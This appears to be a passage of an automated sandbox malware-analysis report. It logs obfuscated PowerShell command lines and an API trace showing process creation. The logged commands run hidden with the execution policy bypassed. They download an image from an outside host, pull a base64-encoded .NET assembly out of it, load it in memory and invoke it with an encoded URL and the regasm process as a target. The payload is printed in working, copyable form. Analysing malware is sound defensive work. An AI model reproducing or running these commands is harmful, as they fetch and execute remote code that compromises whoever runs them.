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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('PwCimageUrl = XQ4https://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750XQ4;P'+'wCwebClient = Ne'+'w-Object System.Net.WebClient;PwCimageBytes = PwCwebClient.DownloadData(PwCimageUrl'+');PwCimageText = '+'[System.Text.Encod'+'ing]::UTF8.GetString(PwCimageBytes);PwCstartFlag = XQ4<<BASE64_S'+'TART>>XQ4;PwCendFlag = XQ4<<BASE64_END>>XQ4;PwCstartIndex = Pw'+'CimageText.IndexOf'+'(PwCstartFlag);PwCendIndex = PwCim'+'ageText.IndexOf(PwCendFlag);PwCstartIndex -ge '+'0 -and PwCendIndex -gt Pw'+'CstartIndex;PwCsta'+'rtIndex += PwCstartFlag.Length;PwCbase64Length '+'= PwCendI'+'ndex - PwCstartIndex;PwCbase64C'+'omm'+'and = P'+'wCimageText.Substri'+'ng(PwCstar'+'tIndex, Pw'+'Cbase64Length);PwCc'+'ommandBytes = [System.Convert]::FromBase64String(PwCbase64Command);PwCloadedAssembly = [System.Reflection.Assembly]::Load(PwCcommandBytes);PwCtype = Pw'+'CloadedAssembly.GetType('+'XQ'+'4Fiber.HomeXQ4);PwCmethod = PwCtype.GetMethod('+'XQ4VAIXQ4).I'+'nvoke(PwCnull, [obje'+'ct[]] (XQ4'+'dHh0LlJNUi80MjMzLzEzMS4zMy41NDIuMjcx'+'Ly'+'86cHR0aA==XQ4 , XQ4XQ4 , X'+'Q42XQ4 , XQ4re'+'gasmXQ4 , XQ45XQ4 , XQ4C:5cCWindows5cCTemp5cCXQ4, XQ4hkcmdfXQ4))') -crEPlAcE 'XQ4',[CHAR]39 -replACE '5cC',[CHAR]92-replACE ([CHAR]80+[CHAR]119+[CHAR]67),[CHAR]36) |INVOKE-EXpRession"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2216
thread_handle: 0x0000057c
process_identifier: 2212
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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